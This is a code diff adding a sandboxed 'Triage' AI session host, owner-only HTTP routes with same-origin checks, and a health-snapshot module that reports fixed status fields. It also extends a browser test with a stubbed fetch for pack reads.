list = hostedBinds({ runDir: paths.agent, healthDir: paths.health, adapter: admitted.adapter, harnessMounts: admitted.harnessMounts ?? [], installRoots, protectedPaths, codeRoot, codeHolder: home, relaySocket: join(paths.agent, "relay.sock"), node, readOnly });
|
||||
} catch (e) {
|
||||
if (e?.code !== "hosted-binds-refused") throw e;
|
||||
log(`triage host: route refused at the binds: ${e.fence}`);
|
||||
// Nothing of the refused start stays: the relay, its socket, the bundle and session.json go.
|
||||
relay?.close();
|
||||
relay = null;
|
||||
for (const f of ["relay.sock", "session.json", "bundle"]) rmSync(join(paths.agent, f), { recursive: true, force: true });
|
||||
throw new TriageError("triage-route-invalid", "the model route's answer is not usable");
|
||||
}
|
||||
const argv = hostedArgv(list, paths.agent, [node, RUNNER, paths.agent], { bwrap });
|
||||
const out = openSync(paths.log, "a", 0o600);
|
||||
try {
|
||||
child = spawn(argv[0], argv.slice(1), { env: triageEnv(env, admitted.env, { node }), detached: true, stdio: ["pipe", out, out] });
|
||||
} finally {
|
||||
closeSync(out);
|
||||
}
|
||||
const mine = child;
|
||||
const closeRelay = () => {
|
||||
relay?.close();
|
||||
relay = null;
|
||||
rmSync(join(paths.agent, "relay.sock"), { force: true });
|
||||
};
|
||||
mine.on("error", () => {});
|
||||
mine.stdin.on("error", () => {});
|
||||
mine.stdin.end(JSON.stringify({ cap }) + "\n");
|
||||
mine.on("exit", (code, signal) => {
|
||||
if (child !== mine) return;
|
||||
lastExit = { code: Number.isInteger(code) ? code : null, signal: signal ?? null, at: now().toISOString() };
|
||||
child = null;
|
||||
// Every message still queued leaves it, so none holds a slot with no session to answer it, and
|
||||
// the transcript says which: one the session took and never answered, or one it never read.
|
||||
for (const m of queue.splice(0)) {
|
||||
try { append({ at: now().toISOString(), from: "host", in_reply_to: m.id, text: m.delivered ? UNANSWERED : NOT_TAKEN }); } catch { log("triage host: transcript write failed"); }
|
||||
}
|
||||
closeRelay();
|
||||
});
|
||||
// A launcher that cannot run (missing, not executable) fires "error" and never "exit": the start
|
||||
// failed, so the caller writes NOT_STARTED and the host is not left reporting a session.
|
||||
try {
|
||||
await new Promise((resolve, reject) => { mine.once("spawn", resolve); mine.once("error", reject); });
|
||||
} catch (e) {
|
||||
if (child === mine) child = null;
|
||||
closeRelay();
|
||||
log(`triage host: launcher did not run: ${e.code ?? "error"}`);
|
||||
throw new TriageError("triage-start-failed", "the Triage session did not start");
|
||||
}
|
||||
};
|
||||
|
||||
// The cap is the route's to count. Once it answers over the cap with a time in the next two days,
|
||||
// the host refuses without asking again until that time, so a later answer cannot reopen the day.
|
||||
const capUntil = () => {
|
||||
if (overCapUntil !== null && Date.parse(overCapUntil) <= now().getTime()) overCapUntil = null;
|
||||
return overCapUntil;
|
||||
};
|
||||
const admit = async () => {
|
||||
if (!route || typeof route.admit !== "function") return { ok: false, code: "triage-no-route" };
|
||||
const held = capUntil();
|
||||
if (held !== null) return { ok: false, code: "triage-over-cap", until: held };
|
||||
let a;
|
||||
try { a = await route.admit(); } catch { return { ok: false, code: "triage-route-unreadable" }; }
|
||||
if (a?.ok === true) return a;
|
||||
const code = ["triage-no-route", "triage-over-cap"].includes(a?.code) ? a.code : "triage-route-refused";
|
||||
if (code !== "triage-over-cap") return { ok: false, code };
|
||||
const until = typeof a.until === "string" && ISO_TIME.test(a.until) ? Date.parse(a.until) : NaN;
|
||||
const ahead = until - now().getTime();
|
||||
if (!(ahead > 0 && ahead <= CAP_HOLD_MAX_MS)) return { ok: false, code };
|
||||
overCapUntil = new Date(until).toISOString();
|
||||
return { ok: false, code, until: overCapUntil };
|
||||
};
|
||||
|
||||
return {
|
||||
paths,
|
||||
get running() { return child !== null; },
|
||||
get pid() { return child?.pid ?? null; },
|
||||
routeSet: () => Boolean(route && typeof route.admit === "function"),
|
||||
async state() {
|
||||
return {
|
||||
route: this.routeSet() ? "set" : "not set",
|
||||
overCapUntil: capUntil(),
|
||||
running: child !== null,
|
||||
lastExit,
|
||||
snapshot: last,
|
||||
transcript: transcript(),
|
||||
};
|
||||
},
|
||||
refresh,
|
||||
snapshotAt: () => lastAt,
|
||||
// The owner's message: checked, admitted by the route, written to the transcript, queued, and
|
||||
// the session started when it isn't running.
|
||||
async message(raw) {
|
||||
const text = plainText(typeof raw === "string" ? raw : "", MESSAGE_MAX + 1).trim();
|
||||
if (!text) throw new TriageError("triage-message-empty", "the message is empty");
|
||||
if (text.length > MESSAGE_MAX) throw new TriageError("triage-message-too-long", `a message holds at most ${MESSAGE_MAX} characters`);
|
||||
if (queue.length >= QUEUE_MAX) throw new TriageError("triage-busy", "Triage has too many messages waiting");
|
||||
const admitted = await admit();
|
||||
if (!admitted.ok) throw Object.assign(new TriageError(admitted.code, admitted.code === "triage-over-cap" ? "Triage is over its daily cap" : admitted.code === "triage-no-route" ? "no model route is set for Triage" : "the model route refused"), admitted.until ? { until: admitted.until } : {});
|
||||
await refresh();
|
||||
const at = now().toISOString();
|
||||
const id = `owner-${randomBytes(6).toString("hex")}`;
|
||||
append({ at, from: "owner", id, text });
|
||||
queue.push({ id, body: text, at, delivered: false });
|
||||
if (!child) {
|
||||
starting ??= start(admitted).finally(() => { starting = null; });
|
||||
try { await starting; }
|
||||
catch (e) {
|
||||
const i = queue.findIndex((m) => m.id === id);
|
||||
if (i >= 0) queue.splice(i, 1);
|
||||
try { append({ at: now().toISOString(), from: "host", in_reply_to: id, text: e?.code === "triage-route-invalid" ? ROUTE_REFUSED : NOT_STARTED }); } catch {}
|
||||
relay?.close();
|
||||
relay = null;
|
||||
log(`triage host: start failed: ${e.code ?? "error"}`);
|
||||
throw e instanceof TriageError ? e : new TriageError("triage-start-failed", "the Triage session did not start");
|
||||
}
|
||||
}
|
||||
return { id, at };
|
||||
},
|
||||
async stop({ graceMs = 5000 } = {}) {
|
||||
const c = child;
|
||||
if (c) {
|
||||
try { process.kill(-c.pid, "SIGTERM"); } catch {}
|
||||
await new Promise((resolve) => {
|
||||
const t = setTimeout(() => { try { process.kill(-c.pid, "SIGKILL"); } catch {} resolve(); }, graceMs);
|
||||
c.once("exit", () => { clearTimeout(t); resolve(); });
|
||||
});
|
||||
}
|
||||
relay?.close();
|
||||
relay = null;
|
||||
},
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
// #1873 triage-host: the two owner routes of the Triage session. serve.mjs sends a request here only
|
||||
// for the instance owner's own session (rootOwner, signed in on the public name, no organization
|
||||
// selected); everyone else falls through to the answer an unknown route gives. The read carries the
|
||||
// transcript, the last health snapshot and the cards; the write carries one owner message and also
|
||||
// needs --send and the same-origin checks the org admin routes use. No body, path, token or
|
||||
// exception text reaches a response or a log line.
|
||||
|
||||
export const TRIAGE_PATHS = Object.freeze(["/api/triage", "/api/triage/message"]);
|
||||
export const BODY_MAX = 16384;
|
||||
// A read refreshes the snapshot when the one it holds is older than this.
|
||||
export const SNAPSHOT_MAX_AGE_MS = 30000;
|
||||
export const capMessage = until => `Triage is over its daily token cap. It takes messages again at ${until}.`;
|
||||
export const NO_ROUTE_MESSAGE = "No model route is set for Triage, so Triage will not start. The instance owner sets the route first.";
|
||||
|
||||
const STATUS = Object.freeze({
|
||||
"invalid-request": 400,
|
||||
"triage-message-empty": 400,
|
||||
"triage-message-too-long": 400,
|
||||
"triage-no-route": 409,
|
||||
"triage-route-refused": 409,
|
||||
"triage-route-invalid": 409,
|
||||
"triage-over-cap": 429,
|
||||
"triage-busy": 429,
|
||||
});
|
||||
// Fixed words for each code; the host's own messages are fixed too, but the route never forwards text.
|
||||
const MESSAGES = Object.freeze({
|
||||
"invalid-request": "the request is not a Triage message",
|
||||
"triage-message-empty": "the message is empty",
|
||||
"triage-message-too-long": "the message is too long",
|
||||
"triage-no-route": NO_ROUTE_MESSAGE,
|
||||
"triage-route-refused": "the model route refused to start Triage",
|
||||
"triage-route-invalid": "the model route's answer is not usable",
|
||||
"triage-route-unreadable": "the model route could not be read",
|
||||
"triage-over-cap": "Triage is over its daily token cap and starts again after the time shown",
|
||||
"triage-busy": "Triage has too many messages waiting",
|
||||
"triage-dir-unsafe": "a Triage directory is not safe to use",
|
||||
"triage-start-failed": "the Triage session did not start",
|
||||
"outcome-unknown": "Triage did not answer",
|
||||
});
|
||||
|
||||
const json = (res, status, value) => {
|
||||
res.writeHead(status, { "content-type": "application/json", "cache-control": "no-store" });
|
||||
res.end(JSON.stringify(value));
|
||||
};
|
||||
const one = (req, name) => (req.headersDistinct[name]?.length === 1 ? req.headersDistinct[name][0] : null);
|
||||
|
||||
async function readBody(req) {
|
||||
if ((req.headers["content-type"] ?? "").split(";")[0].trim().toLowerCase() !== "application/json") throw Error();
|
||||
const chunks = [];
|
||||
let size = 0;
|
||||
for await (const chunk of req) {
|
||||
size += chunk.length;
|
||||
if (size > BODY_MAX) throw Error();
|
||||
chunks.push(chunk);
|
||||
}
|
||||
const value = JSON.parse(Buffer.concat(chunks));
|
||||
if (!value || typeof value !== "object" || Array.isArray(value)) throw Error();
|
||||
if (Object.keys(value).some((k) => k !== "text") || typeof value.text !== "string") throw Error();
|
||||
return value.text;
|
||||
}
|
||||
|
||||
// The read's answer. `send` tells the drawer whether it may offer the message box.
|
||||
export async function triageView(triage, { send, now = Date.now } = {}) {
|
||||
const held = triage.snapshotAt?.() ?? null;
|
||||
if (held === null || now() - held > SNAPSHOT_MAX_AGE_MS) await triage.refresh();
|
||||
const s = await triage.state();
|
||||
return {
|
||||
route: s.route,
|
||||
...(s.route === "set" ? {} : { routeMessage: NO_ROUTE_MESSAGE }),
|
||||
overCapUntil: s.overCapUntil ?? null,
|
||||
...(s.overCapUntil ? { capMessage: capMessage(s.overCapUntil) } : {}),
|
||||
running: s.running,
|
||||
lastExit: s.lastExit,
|
||||
snapshot: s.snapshot,
|
||||
transcript: s.transcript,
|
||||
send: send === true,
|
||||
};
|
||||
}
|
||||
|
||||
export async function triageHTTP(req, res, { path, triage, send, origin, log = () => {} }) {
|
||||
const done = (status, value) => {
|
||||
// Method, path and status only.
|
||||
log(`${new Date().toISOString()} ${req.method} ${path} ${status}`);
|
||||
return json(res, status, value);
|
||||
};
|
||||
// `code` is always a key of MESSAGES.
|
||||
const refuse = (code, extra = {}) => done(STATUS[code] ?? 503, { error: code, message: MESSAGES[code], ...extra });
|
||||
if (path === "/api/triage") {
|
||||
if (req.method !== "GET") return done(405, { error: "method not allowed" });
|
||||
try { return done(200, await triageView(triage, { send })); }
|
||||
catch { return refuse("outcome-unknown"); }
|
||||
}
|
||||
if (req.method !== "POST") return done(405, { error: "method not allowed" });
|
||||
if (!send) return done(403, { error: "read-only" });
|
||||
if (one(req, "origin") !== origin) return done(403, { error: "cross-origin request refused" });
|
||||
if (one(req, "sec-fetch-site") !== "same-origin") return done(403, { error: "cross-site request refused" });
|
||||
let text;
|
||||
try { text = await readBody(req); } catch { return refuse("invalid-request"); }
|
||||
try {
|
||||
return done(202, await triage.message(text));
|
||||
} catch (error) {
|
||||
const code = typeof error?.code === "string" && Object.hasOwn(MESSAGES, error.code) ? error.code : "outcome-unknown";
|
||||
return refuse(code, code === "triage-over-cap" && typeof error.until === "string" ? { until: error.until } : {});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,243 @@
|
||||
// #1873 triage-host: the health snapshot the Console writes for the Triage session (design
|
||||
// section 2). It is composed from reads that already exist, keeps only the fields on the fixed list
|
||||
// below, and is written as one JSON file in <dataRoot>/triage/health/, which the session mounts
|
||||
// read-only. States, times, counts and codes only: no token, key, host path, pid or upstream text.
|
||||
// A read that fails, times out or answers outside its fixed shape says "not read", never a guess.
|
||||
// Run records and logs are a later slice.
|
||||
//
|
||||
// The fixed field list (SNAPSHOT_FIELDS names the top level):
|
||||
// snapshotVersion 1
|
||||
// at when the Console composed it (ISO time)
|
||||
// console { state: "answering", at } the Console wrote this, so it answered at `at`
|
||||
// proxy { initialized, installed, active, healthy, fence } or "not read"
|
||||
// systemConfig { valid, exit, code } or "not read"
|
||||
// organizations { count, list: [ { id, bus, processing, config } ] } or "not read"
|
||||
// bus { state: running | not-answering | stopped | dead, lastStart: { ok, at } | null } or "not read"
|
||||
// processing { halted, invalid } or "not read"
|
||||
// config { valid, exit, code } or "not read"
|
||||
//
|
||||
// The system config check runs scripts/mosaic-config.mjs validate in a child. Its stdout is the
|
||||
// resolved config, so it is never read (stdio "ignore"), and loadSystem is not used. Its stderr
|
||||
// names the config path and data-root facts, so only its first line's leading word is matched
|
||||
// against SYSTEM_CONFIG_CODES; the text itself never leaves this module.
|
||||
|
||||
import { randomBytes } from "node:crypto";
|
||||
import { spawn } from "node:child_process";
|
||||
import { chmodSync, renameSync, rmSync, writeFileSync } from "node:fs";
|
||||
import { join, resolve, dirname } from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
|
||||
|
||||
const REPO = resolve(dirname(fileURLToPath(import.meta.url)), "..", "..", "..");
|
||||
export const CONFIG_SCRIPT = join(REPO, "scripts", "mosaic-config.mjs");
|
||||
export const ORG_CONFIG_SCRIPT = join(REPO, "packages", "organization", "src", "cli.mjs");
|
||||
export const NOT_READ = "not read";
|
||||
export const SNAPSHOT_VERSION = 1;
|
||||
export const SNAPSHOT_FILE = "snapshot.json";
|
||||
export const SNAPSHOT_FIELDS = Object.freeze(["snapshotVersion", "at", "console", "proxy", "systemConfig", "organizations"]);
|
||||
export const BUS_STATES = Object.freeze(["running", "not-answering", "stopped", "dead"]);
|
||||
const UNIT_ACTIVE = Object.freeze(["active", "inactive", "failed", "activating", "deactivating", "reloading", "unknown"]);
|
||||
export const READ_TIMEOUT_MS = 5000;
|
||||
export const MAX_ORGS = 200;
|
||||
// At most this many organizations are read at once; each read can start a node child for its config check.
|
||||
export const ORG_READS_AT_ONCE = 4;
|
||||
|
||||
// What a failed system config check may say. Each refusal code the validator prints as its first
|
||||
// word passes as itself; a known sentence maps to a fixed code; anything else is the exit's general
|
||||
// code. Nothing else of stderr is kept.
|
||||
const PRINTED_CODES = Object.freeze([
|
||||
"instance-config-mismatch", "instance-name-invalid", "instance-root-unclaimed", "instance-root-mismatch",
|
||||
"proxy-rotate-grace-invalid", "proxy-first-output-invalid", "proxy-config-invalid",
|
||||
]);
|
||||
const SENTENCES = Object.freeze([
|
||||
["configuration not found", "config-not-found"],
|
||||
["configuration is not valid JSON", "config-not-json"],
|
||||
["configuration path must be a regular", "config-not-regular-file"],
|
||||
["configuration file is not readable", "config-unreadable"],
|
||||
["configuration must be a JSON object", "config-not-object"],
|
||||
["unsupported configVersion", "config-version-unsupported"],
|
||||
["unsupported environment", "config-environment-unsupported"],
|
||||
['execution "dataRoot"', "config-data-root-invalid"],
|
||||
["unsupported execution.", "config-execution-unsupported"],
|
||||
["unsupported ", "config-key-unsupported"],
|
||||
]);
|
||||
const EXIT_CODES = Object.freeze({ 1: "config-check-failed", 2: "config-invalid", 3: "config-missing-or-unclaimed", 4: "config-check-usage" });
|
||||
export const SYSTEM_CONFIG_CODES = Object.freeze([...new Set([...PRINTED_CODES, ...SENTENCES.map(([, c]) => c), ...Object.values(EXIT_CODES), "config-check-failed"])]);
|
||||
|
||||
// The org config check (`mosaic org config validate ID`) is read by its exit code alone.
|
||||
const ORG_EXIT_CODES = Object.freeze({ 2: "org-config-invalid", 3: "org-config-system-unreadable", 4: "org-config-check-usage" });
|
||||
export const ORG_CONFIG_CODES = Object.freeze([...Object.values(ORG_EXIT_CODES), "org-config-check-failed"]);
|
||||
|
||||
// stderr's first line, already without its "mosaic-config: " prefix, to one fixed code.
|
||||
export function systemConfigCode(exit, firstLine) {
|
||||
if (exit === 0) return null;
|
||||
const line = typeof firstLine === "string" ? firstLine.replace(/^mosaic-config: /, "") : "";
|
||||
const word = line.match(/^([a-z][a-z0-9-]{2,63})(?::|$)/)?.[1];
|
||||
if (word && PRINTED_CODES.includes(word)) return word;
|
||||
for (const [start, code] of SENTENCES) if (line.startsWith(start)) return code;
|
||||
return EXIT_CODES[exit] ?? "config-check-failed";
|
||||
}
|
||||
|
||||
// A child run for its exit code. stdout is never opened. stderr is read only when `stderr` is
|
||||
// true, at most 4 KiB, and only its first line is returned to the caller in this module.
|
||||
export function runExitOnly(argv, { env, timeoutMs = READ_TIMEOUT_MS, stderr = false } = {}) {
|
||||
return new Promise((done) => {
|
||||
let child;
|
||||
try {
|
||||
child = spawn(argv[0], argv.slice(1), { env, stdio: ["ignore", "ignore", stderr ? "pipe" : "ignore"] });
|
||||
} catch {
|
||||
return done(null);
|
||||
}
|
||||
let err = "";
|
||||
let settled = false;
|
||||
const finish = (value) => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
clearTimeout(timer);
|
||||
done(value);
|
||||
};
|
||||
const timer = setTimeout(() => {
|
||||
try { child.kill("SIGKILL"); } catch {}
|
||||
finish(null);
|
||||
}, timeoutMs);
|
||||
child.stderr?.on("data", (b) => {
|
||||
if (err.length < 4096) err += b.toString("utf8").slice(0, 4096 - err.length);
|
||||
});
|
||||
child.on("error", () => finish(null));
|
||||
child.on("close", (code, signal) => finish(signal || !Number.isInteger(code) ? null : { exit: code, firstLine: err.split("\n")[0] }));
|
||||
});
|
||||
}
|
||||
|
||||
// { valid, exit, code } from the validator, or "not read" when it did not run to an exit.
|
||||
export async function readSystemConfig({ env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) {
|
||||
const r = await run([node, CONFIG_SCRIPT, "validate"], { env, timeoutMs, stderr: true });
|
||||
if (!r || !Number.isInteger(r.exit)) return NOT_READ;
|
||||
const code = systemConfigCode(r.exit, r.firstLine);
|
||||
return { valid: r.exit === 0, exit: r.exit, code };
|
||||
}
|
||||
|
||||
export async function readOrgConfig(id, { env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) {
|
||||
if (typeof id !== "string" || !ID_PATTERN.test(id)) return NOT_READ;
|
||||
const r = await run([node, ORG_CONFIG_SCRIPT, "validate", id], { env, timeoutMs, stderr: false });
|
||||
if (!r || !Number.isInteger(r.exit)) return NOT_READ;
|
||||
return { valid: r.exit === 0, exit: r.exit, code: r.exit === 0 ? null : ORG_EXIT_CODES[r.exit] ?? "org-config-check-failed" };
|
||||
}
|
||||
|
||||
const ISO = /^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(\.\d{1,9})?Z$/;
|
||||
const isoOrNull = (v) => (typeof v === "string" && ISO.test(v) ? v : null);
|
||||
const bool = (v) => (typeof v === "boolean" ? v : null);
|
||||
|
||||
// Each read under its own deadline; a throw, a timeout or a null is "not read".
|
||||
async function bounded(fn, timeoutMs) {
|
||||
let timer;
|
||||
try {
|
||||
const value = await Promise.race([
|
||||
Promise.resolve().then(fn),
|
||||
new Promise((resolve) => { timer = setTimeout(() => resolve(NOT_READ), timeoutMs); }),
|
||||
]);
|
||||
return value ?? NOT_READ;
|
||||
} catch {
|
||||
return NOT_READ;
|
||||
} finally {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
}
|
||||
|
||||
// The fixed shapes. Anything outside them is "not read".
|
||||
export function proxyFields(status) {
|
||||
if (!status || typeof status !== "object") return NOT_READ;
|
||||
const unit = status.unit && typeof status.unit === "object" ? status.unit : {};
|
||||
const out = {
|
||||
initialized: bool(status.init?.initialized),
|
||||
installed: bool(unit.installed),
|
||||
active: UNIT_ACTIVE.includes(unit.active) ? unit.active : "unknown",
|
||||
healthy: bool(unit.healthy),
|
||||
fence: bool(status.fence?.set),
|
||||
};
|
||||
return out.initialized === null && out.installed === null && out.healthy === null ? NOT_READ : out;
|
||||
}
|
||||
|
||||
// busStatus (packages/cli/src/org-bus.mjs) answers healthy and pid; a refusal from its state check
|
||||
// (a host it cannot account for, a CliError) is a dead host, as the Console's bus revive reads it.
|
||||
export function busFields(status, refusedDead = false) {
|
||||
if (refusedDead) return { state: "dead", lastStart: null };
|
||||
if (!status || typeof status !== "object" || typeof status.healthy !== "boolean") return NOT_READ;
|
||||
const state = status.healthy ? "running" : Number.isSafeInteger(status.pid) ? "not-answering" : "stopped";
|
||||
const boot = status.boot && typeof status.boot === "object" && typeof status.boot.ok === "boolean" && isoOrNull(status.boot.at)
|
||||
? { ok: status.boot.ok, at: status.boot.at } : null;
|
||||
return { state, lastStart: boot };
|
||||
}
|
||||
|
||||
export function processingFields(p) {
|
||||
if (!p || typeof p !== "object" || typeof p.halted !== "boolean") return NOT_READ;
|
||||
return { halted: p.halted, invalid: p.invalid === true };
|
||||
}
|
||||
|
||||
function configFields(c, codes) {
|
||||
if (!c || typeof c !== "object" || typeof c.valid !== "boolean" || !Number.isInteger(c.exit)) return NOT_READ;
|
||||
return { valid: c.valid, exit: c.exit, code: c.code === null || codes.includes(c.code) ? c.code : null };
|
||||
}
|
||||
|
||||
// readers: { orgs() -> [{ id, state }], busStatus(id) -> status (a CliError, or a throw with
|
||||
// `dead: true`, is a dead host), processing(id), orgConfig(id), proxy(), systemConfig() }. Each may be missing.
|
||||
// fn over items, at most `limit` running at once; the results keep the items' order.
|
||||
async function mapLimit(items, limit, fn) {
|
||||
const out = new Array(items.length);
|
||||
let next = 0;
|
||||
const worker = async () => { while (next < items.length) { const i = next++; out[i] = await fn(items[i]); } };
|
||||
await Promise.all(Array.from({ length: Math.min(limit, items.length) }, worker));
|
||||
return out;
|
||||
}
|
||||
|
||||
// The organization stage runs under one deadline, `timeoutMs` from its start, however many
|
||||
// organizations there are: an organization whose reads have not finished by then is "not read", and
|
||||
// one not yet begun is not read at all. A whole snapshot takes at most about two timeouts.
|
||||
export async function composeSnapshot(readers = {}, { now = () => new Date(), timeoutMs = READ_TIMEOUT_MS, clock = Date.now } = {}) {
|
||||
const at = now().toISOString();
|
||||
const read = (name, ...args) => (typeof readers[name] === "function" ? bounded(() => readers[name](...args), timeoutMs) : Promise.resolve(NOT_READ));
|
||||
const [proxyRaw, systemRaw, orgsRaw] = await Promise.all([read("proxy"), read("systemConfig"), read("orgs")]);
|
||||
let organizations = NOT_READ;
|
||||
if (Array.isArray(orgsRaw)) {
|
||||
const active = orgsRaw.filter((o) => o && typeof o === "object" && o.state === "active" && typeof o.id === "string" && ID_PATTERN.test(o.id)).slice(0, MAX_ORGS);
|
||||
const deadline = clock() + timeoutMs;
|
||||
const list = await mapLimit(active, ORG_READS_AT_ONCE, async ({ id }) => {
|
||||
const left = deadline - clock();
|
||||
if (left <= 0) return { id, bus: NOT_READ, processing: NOT_READ, config: NOT_READ };
|
||||
const readOrg = (name) => (typeof readers[name] === "function" ? bounded(() => readers[name](id), left) : NOT_READ);
|
||||
const [bus, processing, config] = await Promise.all([
|
||||
typeof readers.busStatus === "function"
|
||||
? bounded(async () => {
|
||||
try { return busFields(await readers.busStatus(id)); }
|
||||
catch (e) { return e?.name === "CliError" || e?.dead === true ? busFields(null, true) : NOT_READ; }
|
||||
}, left)
|
||||
: NOT_READ,
|
||||
readOrg("processing"),
|
||||
readOrg("orgConfig"),
|
||||
]);
|
||||
return { id, bus: bus === NOT_READ ? NOT_READ : bus, processing: processingFields(processing), config: configFields(config, ORG_CONFIG_CODES) };
|
||||
});
|
||||
organizations = { count: list.length, list };
|
||||
}
|
||||
return {
|
||||
snapshotVersion: SNAPSHOT_VERSION,
|
||||
at,
|
||||
console: { state: "answering", at },
|
||||
proxy: proxyFields(proxyRaw),
|
||||
systemConfig: configFields(systemRaw, SYSTEM_CONFIG_CODES),
|
||||
organizations,
|
||||
};
|
||||
}
|
||||
|
||||
// One file, replaced whole: written beside itself at 0600, then renamed over the last one.
|
||||
export function writeSnapshot(healthDir, snapshot) {
|
||||
const file = join(healthDir, SNAPSHOT_FILE);
|
||||
const temp = join(healthDir, `.${SNAPSHOT_FILE}.${process.pid}.${randomBytes(6).toString("hex")}.tmp`);
|
||||
try {
|
||||
writeFileSync(temp, JSON.stringify(snapshot, null, 2) + "\n", { mode: 0o600 });
|
||||
chmodSync(temp, 0o600);
|
||||
renameSync(temp, file);
|
||||
} finally {
|
||||
rmSync(temp, { force: true });
|
||||
}
|
||||
return file;
|
||||
}
|
||||
@@ -48,7 +48,7 @@ function fixture() {
|
||||
projects: [{ id: 'p-shop', repo: 'shop', name: 'Shop', archived: false, at: at(120) }],
|
||||
tasks: [], inbox: [], claims: [], threads: [],
|
||||
agents: [{ role: 'pm', holder_run: 'run-9', harness: 'claude', state: 'waiting', at: at(15) }],
|
||||
instances: { pm: { definition: 'pm', running: ['run-9'] }, 'research-2': { definition: `org:hire-${HIRE}`, hireDecision: HIRE, running: [], pack: { id: 'coding', label: 'Coding' } } },
|
||||
instances: { pm: { definition: 'pm', running: ['run-9'] }, 'research-2': { definition: `org:hire-${HIRE}`, hireDecision: HIRE, running: [], pack: { id: 'coding', origin: 'shipped', project: null } } },
|
||||
model: {},
|
||||
},
|
||||
};
|
||||
@@ -84,7 +84,8 @@ function fixture() {
|
||||
// beta's says it only reads. Agent writes are recorded and answered from a queue; nothing is written.
|
||||
const STUB = `(() => {
|
||||
const real = window.fetch.bind(window);
|
||||
window.__posts = []; window.__answers = [];
|
||||
window.__posts = []; window.__answers = []; window.__packReads = [];
|
||||
window.__packsRelease = () => (window.__packsHeld ?? []).splice(0).forEach(r => r());
|
||||
const answer = (status, body) => new Response(JSON.stringify(body), { status, headers: { 'content-type': 'application/json' } });
|
||||
window.fetch = async (url, init = {}) => {
|
||||
const u = String(url);
|
||||
@@ -94,6 +95,18 @@ const STUB = `(() => {
|
||||
const writes = cfg[1] === 'acme';
|
||||
return answer(200, { ...c, chatSend: writes, settingsSend: writes, decide: writes });
|
||||
}
|
||||
// SP16: the packs read (owner only). Beta installed the Coding pack, whose hire research-2 is made
|
||||
// from the researcher definition, and that from the researcher template. The instance names only the
|
||||
// pack's id, as the bus's does; the pack's document carries its label. A test may set __packsStatus,
|
||||
// __packsBody (a 200 answer that is not JSON) or __packsHold (each read held answers on __packsRelease()).
|
||||
const packs = u.match(/^\\/api\\/orgs\\/([^/]+)\\/packs$/);
|
||||
if (packs) {
|
||||
window.__packReads.push(packs[1]);
|
||||
if (window.__packsHold) await new Promise(r => (window.__packsHeld ??= []).push(r));
|
||||
if (window.__packsStatus) return answer(window.__packsStatus, { error: 'refused' });
|
||||
if (window.__packsBody) return new Response(window.__packsBody, { status: 200, headers: { 'content-type': 'text/html' } });
|
||||
return answer(200, { writable: false, applied: [{ id: 'coding', origin: 'shipped', project: null, hired: ['research-2'], open: [] }], packs: packs[1] === 'beta' ? [{ id: 'coding', origin: 'shipped', pack: { id: 'coding', label: 'Coding', version: 2, hires: [{ name: 'research-2', definition: 'researcher', reason: 'Research.' }], definitions: { researcher: { template: 'researcher', sha256: '${'a'.repeat(64)}' } } } }] : [] });
|
||||
}
|
||||
if (!/\\/agent\\//.test(u) || (init.method || 'GET') === 'GET' && !u.includes('/agent/request')) return real(url, init);
|
||||
window.__posts.push({ url: u, method: init.method || 'GET', body: init.body ?? null });
|
||||
const a = window.__answers.shift();
|
||||
@@ -102,12 +115,13 @@ const STUB = `(() => {
|
||||
};
|
||||
})();`;
|
||||
|
||||
async function setup(t, { viewport = [1440, 900], hash = '#/agents', stub = true } = {}) {
|
||||
async function setup(t, { viewport = [1440, 900], hash = '#/agents', stub = true, scripts = [] } = {}) {
|
||||
const server = await startServer({ port: 0, sso: createDevOwner(), organizations: fixture(), log: () => {} });
|
||||
t.after(() => close(server));
|
||||
const b = await browser({ machine: false }); t.after(() => b.close());
|
||||
await b.viewport(...viewport);
|
||||
if (stub) await b.call('Page.addScriptToEvaluateOnNewDocument', { source: STUB });
|
||||
for (const source of scripts) await b.call('Page.addScriptToEvaluateOnNewDocument', { source });
|
||||
const base = `http://127.0.0.1:${server.address().port}`;
|
||||
await b.navigate(`${base}/${hash}`);
|
||||
const text = sel => b.evaluate(`document.querySelector(${JSON.stringify(sel)})?.innerText.replace(/\\s+/g, " ").trim() ?? null`);
|
||||
@@ -171,9 +185,13 @@ test('the drawer shows each field from its read: name, organization, role and so
|
||||
// Decisions waiting on a human that it raised, each into the Inbox. Chief's is not its own.
|
||||
const decisions = await b.evaluate(`[...document.querySelectorAll('${d} [data-drawer-decisions] li a')].map(a => [a.textContent.trim(), a.getAttribute("href")])`);
|
||||
assert.deepEqual(decisions, [['Ship the hero copy?', '#/inbox?d=acme%3Adec-1']]);
|
||||
// No read gives the time of an agent's last activity. The sessions read's `since` is when its
|
||||
// current state began, which is not the same thing, so the drawer draws no time.
|
||||
assert.equal(await has(`${d} [data-drawer-activity]`), false);
|
||||
// SP16: no read gives the time of an agent's last activity. The agents read's time (when it took the
|
||||
// role) and `since` (when its present state began) are not that, so the drawer says not recorded.
|
||||
assert.equal(await text(`${d} [data-drawer-activity]`), 'not recorded');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${d} [data-drawer-activity]').closest('.ws-drawer-f').querySelector('dt').textContent`), 'Last activity');
|
||||
// Not a pack hire: no packs read, and no Hired from line.
|
||||
assert.equal(await has(`${d} [data-drawer-hired]`), false);
|
||||
assert.deepEqual(await b.evaluate('window.__packReads'), []);
|
||||
// The Tasks board link opens the board filtered to the agent.
|
||||
await b.evaluate(`document.querySelector('${d} [data-drawer-tasks-all]').click()`);
|
||||
await wait(`document.querySelector('[data-tasks-board] select[data-tb-filter="assignee"]')?.value === 'coder'`);
|
||||
@@ -186,19 +204,200 @@ test('a hired agent shows where its role came from; a not-running agent says not
|
||||
const { wait, text, has } = await setup(t, { hash: '#/agents?agent=beta%3Aresearch-2' });
|
||||
await wait(open('beta:research-2'));
|
||||
const d = '[data-ws-drawer="beta:research-2"]';
|
||||
assert.match(await text(`${d} [data-drawer-role]`), /Hired from pack Coding/);
|
||||
